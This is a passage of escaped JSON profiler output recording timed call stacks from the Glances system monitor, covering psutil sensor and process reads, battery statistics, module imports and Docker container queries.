\"sensors_fans\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002350\",\"time\": 0.026959,\"attributes\": {\"l2355\": 0.026959444003296085},\"children\": [{\"identifier\": \"sensors_fans\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001370\",\"time\": 0.026959,\"attributes\": {\"l1390\": 0.026959444003296085},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.026959,\"attributes\": {\"l730\": 0.026959444003296085},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.026959,\"attributes\": {\"l719\": 0.026959444003296085},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.026959,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.018362,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.004444,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.004153,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/sensor/glances_batpercent.py\\u000043\",\"time\": 0.100573,\"attributes\": {\"cBatpercentPlugin\": 0.10057332999713253, \"l49\": 0.10057332999713253},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/sensor/glances_batpercent.py\\u000087\",\"time\": 0.100573,\"attributes\": {\"cGlancesGrabBat\": 0.10057332999713253, \"l92\": 0.10057332999713253},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/batinfo/battery.py\\u000099\",\"time\": 0.100573,\"attributes\": {\"cBatteries\": 0.10057332999713253, \"l104\": 0.10057332999713253},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/batinfo/battery.py\\u0000106\",\"time\": 0.100573,\"attributes\": {\"cBatteries\": 0.10057332999713253, \"l124\": 0.10057332999713253},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/batinfo/battery.py\\u000035\",\"time\": 0.100573,\"attributes\": {\"cBattery\": 0.10057332999713253, \"l38\": 0.10057332999713253},\"children\": [{\"identifier\": \"__update__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/batinfo/battery.py\\u000069\",\"time\": 0.100573,\"attributes\": {\"cBattery\": 0.10057332999713253, \"l78\": 0.10057332999713253},\"children\": [{\"identifier\": \"__get_stat__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/batinfo/battery.py\\u000058\",\"time\": 0.100573,\"attributes\": {\"cBattery\": 0.10057332999713253, \"l64\": 0.10057332999713253},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.022694,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.026817,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.005301,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003550,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003566,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003123,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.003910,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.021152,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.004792,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.005668,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/plugins/now/__init__.py\\u000038\",\"time\": 0.001472,\"attributes\": {\"cNowPlugin\": 0.0014716779987793416, \"l51\": 0.0014716779987793416},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/glances/config.py\\u0000280\",\"time\": 0.001472,\"attributes\": {\"cConfig\": 0.0014716779987793416, \"l286\": 0.0014716779987793416},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u0000813\",\"time\": 0.001472,\"attributes\": {\"cConfigParser\": 0.0014716779987793416, \"l835\": 0.0014716779987793416},\"children\": [{\"identifier\": \"optionxform\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/configparser.py\\u0000922\",\"time\": 0.001472,\"attributes\": {\"cConfigParser\": 0.0014716779987793416, \"l923\": 0.0014716779987793416},\"children\": [{\"identifier\": \"str.lower\\u0000<built-in>\\u00000\",\"time\": 0.001472,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001472,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"import_module\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/importlib/__init__.py\\u000071\",\"time\": 0.005998,\"attributes\": {\"l88\": 0.005997836997266859},\"children\": [{\"identifier\": \"_gcd_import\\u0000<frozen importlib._bootstrap>\\u00001386\",\"time\": 0.005998,\"attributes\": {\"l1398\": 0.005997836997266859},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.005998,\"attributes\": {\"l1371\": 0.005997836997266859},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.005998,\"attributes\": {\"l1342\": 0.005997836997266859},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.005998,\"attributes\": {\"l938\": 0.005997836997266859},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.005998,\"attributes\": {\"cSourceFileLoader\": 0.005997836997266859, \"l758\": 0.0020190650029690005, \"l762\": 0.003978771994297858},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.002019,\"attributes\": {\"cSourceFileLoader\": 0.0020190650029690005, \"l891\": 0.0020190650029690005},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.002019,\"attributes\": {\"l514\": 0.0020190650029690005},\"children\": [{\"identifier\": \"loads\\u0000<built-in>\\u00000\",\"time\": 0.002019,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002019,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.003979,\"attributes\": {\"l491\": 0.003978771994297858},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u00001\",\"time\": 0.001980,\"attributes\": {\"l16\": 0.001980404995265417},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001980,\"attributes\": {\"l1371\": 0.001980404995265417},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001980,\"attributes\": {\"l1342\": 0.001980404995265417},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001980,\"attributes\": {\"l938\": 0.001980404995265417},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001980,\"attributes\": {\"cSourceFileLoader\": 0.001980404995265417, \"l762\": 0.001980404995265417},\"children\": [{\"identifier\": \"_call_with_frames_removed\\u0000<frozen importlib._bootstrap>\\u0000483\",\"time\": 0.001980,\"attributes\": {\"l491\": 0.001980404995265417},\"children\": [{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_sparklines.py\\u00001\",\"time\": 0.001980,\"attributes\": {\"l19\": 0.001980404995265417},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001980,\"attributes\": {\"l1371\": 0.001980404995265417},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001980,\"attributes\": {\"l1333\": 0.001980404995265417},\"children\": [{\"identifier\": \"_find_spec\\u0000<frozen importlib._bootstrap>\\u00001243\",\"time\": 0.001980,\"attributes\": {\"l1267\": 0.001980404995265417},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001287\",\"time\": 0.001980,\"attributes\": {\"cPathFinder\": 0.001980404995265417, \"l1295\": 0.001980404995265417},\"children\": [{\"identifier\": \"_get_spec\\u0000<frozen importlib._bootstrap_external>\\u00001258\",\"time\": 0.001980,\"attributes\": {\"cPathFinder\": 0.001980404995265417, \"l1269\": 0.001980404995265417},\"children\": [{\"identifier\": \"find_spec\\u0000<frozen importlib._bootstrap_external>\\u00001360\",\"time\": 0.001980,\"attributes\": {\"cFileFinder\": 0.001980404995265417, \"l1396\": 0.001980404995265417},\"children\": [{\"identifier\": \"_path_join\\u0000<frozen importlib._bootstrap_external>\\u0000131\",\"time\": 0.001980,\"attributes\": {\"l133\": 0.001980404995265417},\"children\": [{\"identifier\": \"str.join\\u0000<built-in>\\u00000\",\"time\": 0.001980,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001980,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"<module>\\u0000/home/nicolargo/dev/glances/glances/plugins/raid/__init__.py\\u00001\",\"time\": 0.001998,\"attributes\": {\"l16\": 0.0019983669990324415},\"children\": [{\"identifier\": \"_find_and_load\\u0000<frozen importlib._bootstrap>\\u00001360\",\"time\": 0.001998,\"attributes\": {\"l1371\": 0.0019983669990324415},\"children\": [{\"identifier\": \"_find_and_load_unlocked\\u0000<frozen importlib._bootstrap>\\u00001308\",\"time\": 0.001998,\"attributes\": {\"l1342\": 0.0019983669990324415},\"children\": [{\"identifier\": \"_load_unlocked\\u0000<frozen importlib._bootstrap>\\u0000914\",\"time\": 0.001998,\"attributes\": {\"l938\": 0.0019983669990324415},\"children\": [{\"identifier\": \"exec_module\\u0000<frozen importlib._bootstrap_external>\\u0000756\",\"time\": 0.001998,\"attributes\": {\"cSourceFileLoader\": 0.0019983669990324415, \"l758\": 0.0019983669990324415},\"children\": [{\"identifier\": \"get_code\\u0000<frozen importlib._bootstrap_external>\\u0000829\",\"time\": 0.001998,\"attributes\": {\"cSourceFileLoader\": 0.0019983669990324415, \"l891\": 0.0019983669990324415},\"children\": [{\"identifier\": \"_compile_bytecode\\u0000<frozen importlib._bootstrap_external>\\u0000512\",\"time\": 0.001998,\"attributes\": {\"l518\": 0.0019983669990324415},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.359080,\"attributes\": {\"cGlancesStats\": 0.359079683003074, \"l287\": 0.359079683003074},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.359080,\"attributes\": {\"cGlancesStats\": 0.359079683003074, \"l575\": 0.359079683003074},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.359080,\"attributes\": {\"l571\": 0.359079683003074},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.359080,\"attributes\": {\"cGlancesStats\": 0.359079683003074, \"l274\": 0.3404586310061859, \"l275\": 0.018621051996888127},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.083998,\"attributes\": {\"cDiskioPlugin\": 0.002001883003686089, \"l1278\": 0.0839976610004669, \"cContainersPlugin\": 0.0019974430033471435, \"cProcesscountPlugin\": 0.07999833499343367},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.083998,\"attributes\": {\"l1295\": 0.0839976610004669},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.002002,\"attributes\": {\"cDiskioPlugin\": 0.002001883003686089, \"l114\": 0.002001883003686089},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.002002,\"attributes\": {\"cDiskioPlugin\": 0.002001883003686089, \"l1351\": 0.002001883003686089},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.002002,\"attributes\": {\"cDiskioPlugin\": 0.002001883003686089, \"l163\": 0.002001883003686089},\"children\": [{\"identifier\": \"filter_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000890\",\"time\": 0.002002,\"attributes\": {\"cDiskioPlugin\": 0.002001883003686089, \"l892\": 0.002001883003686089},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.001997,\"attributes\": {\"cContainersPlugin\": 0.0019974430033471435, \"l252\": 0.0019974430033471435},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.001997,\"attributes\": {\"l256\": 0.0019974430033471435},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.001997,\"attributes\": {\"l248\": 0.0019974430033471435},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.001997,\"attributes\": {\"cDockerExtension\": 0.0019974430033471435, \"l260\": 0.0019974430033471435},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.001997,\"attributes\": {\"cContainerCollection\": 0.0019974430033471435, \"l1009\": 0.0019974430033471435},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.001997,\"attributes\": {\"cAPIClient\": 0.0019974430033471435, \"l212\": 0.0019974430033471435},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.001997,\"attributes\": {\"cAPIClient\": 0.0019974430033471435, \"l44\": 0.0019974430033471435},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.001997,\"attributes\": {\"cAPIClient\": 0.0019974430033471435, \"l246\": 0.0019974430033471435},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.001997,\"attributes\": {\"cAPIClient\": 0.0019974430033471435, \"l602\": 0.0019974430033471435},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.001997,\"attributes\": {\"cAPIClient\": 0.0019974430033471435, \"l589\": 0.0019974430033471435},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.001997,\"attributes\": {\"cAPIClient\": 0.0019974430033471435, \"l703\": 0.0019974430033471435},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPAdapter\": 0.0019974430033471435, \"l644\": 0.0019974430033471435},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0019974430033471435, \"l787\": 0.0019974430033471435},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0019974430033471435, \"l534\": 0.0019974430033471435},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnection\": 0.0019974430033471435, \"l571\": 0.0019974430033471435},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.001997,\"attributes\": {\"cUnixHTTPConnection\": 0.0019974430033471435, \"l1430\": 0.0019974430033471435},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.001997,\"attributes\": {\"cHTTPResponse\": 0.0019974430033471435, \"l341\": 0.0019974430033471435},\"children\": [{\"identifier\": \"str.strip\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.079998,\"attributes\": {\"cProcesscountPlugin\": 0.07999833499343367, \"l85\": 0.07999833499343367},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.079998,\"attributes\": {\"cGlancesProcesses\": 0.07999833499343367, \"l617\": 0.07400150899775326, \"l634\": 0.001997744999243878, \"l659\": 0.003999080996436533},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.074002,\"attributes\": {\"cGlancesProcesses\": 0.07400150899775326, \"l478\": 0.06600107599660987, \"l493\": 0.008000433001143392},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.066001,\"attributes\": {\"l1558\": 0.058081285991647746, \"l1556\": 0.007919790004962124},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.003999,\"attributes\": {\"cProcess\": 0.003998879998107441, \"l579\": 0.003998879998107441},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027099963044748, \"l687\": 0.0020027099963044748},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027099963044748, \"l748\": 0.0020027099963044748},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027099963044748, \"l1593\": 0.0020027099963044748},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027099963044748, \"l1754\": 0.0020027099963044748},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027099963044748, \"l1647\": 0.0020027099963044748},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.0020027099963044748, \"l1638\": 0.0020027099963044748},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002003,\"attributes\": {\"l730\": 0.0020027099963044748},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002003,\"attributes\": {\"l718\": 0.0020027099963044748},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996170001802966, \"l1078\": 0.001996170001802966},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.004090,\"attributes\": {\"cProcess\": 0.0040902499968069606, \"l579\": 0.0040902499968069606},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990500004496425, \"l748\": 0.0019990500004496425},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990500004496425, \"l1593\": 0.0019990500004496425},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990500004496425, \"l1754\": 0.0019990500004496425},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990500004496425, \"l1647\": 0.0019990500004496425},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990500004496425, \"l1638\": 0.0019990500004496425},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.0019990500004496425},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.0019990500004496425},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019990500004496425},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002091,\"attributes\": {\"cProcess\": 0.002091199996357318, \"l687\": 0.002091199996357318},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002091,\"attributes\": {\"cProcess\": 0.002091199996357318, \"l748\": 0.002091199996357318},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002091,\"attributes\": {\"cProcess\": 0.002091199996357318, \"l1593\": 0.002091199996357318},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002091,\"attributes\": {\"cProcess\": 0.002091199996357318, \"l1754\": 0.002091199996357318},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.002091,\"attributes\": {\"cProcess\": 0.002091199996357318, \"l1647\": 0.002091199996357318},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.002091,\"attributes\": {\"cProcess\": 0.002091199996357318, \"l1638\": 0.002091199996357318},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002091,\"attributes\": {\"l730\": 0.002091199996357318},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002091,\"attributes\": {\"l718\": 0.002091199996357318},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002091,\"attributes\": {\"l682\": 0.002091199996357318},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002091,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002091,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001532\",\"time\": 0.001917,\"attributes\": {\"l1533\": 0.00191694399836706},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l314\": 0.00191694399836706},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l347\": 0.00191694399836706},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l394\": 0.00191694399836706},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l1593\": 0.00191694399836706},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l1857\": 0.00191694399836706},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l1593\": 0.00191694399836706},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l375\": 0.00191694399836706},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001917,\"attributes\": {\"cProcess\": 0.00191694399836706, \"l1683\": 0.00191694399836706},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001917,\"attributes\": {\"l730\": 0.00191694399836706},\"children\": [{\"identifier\": 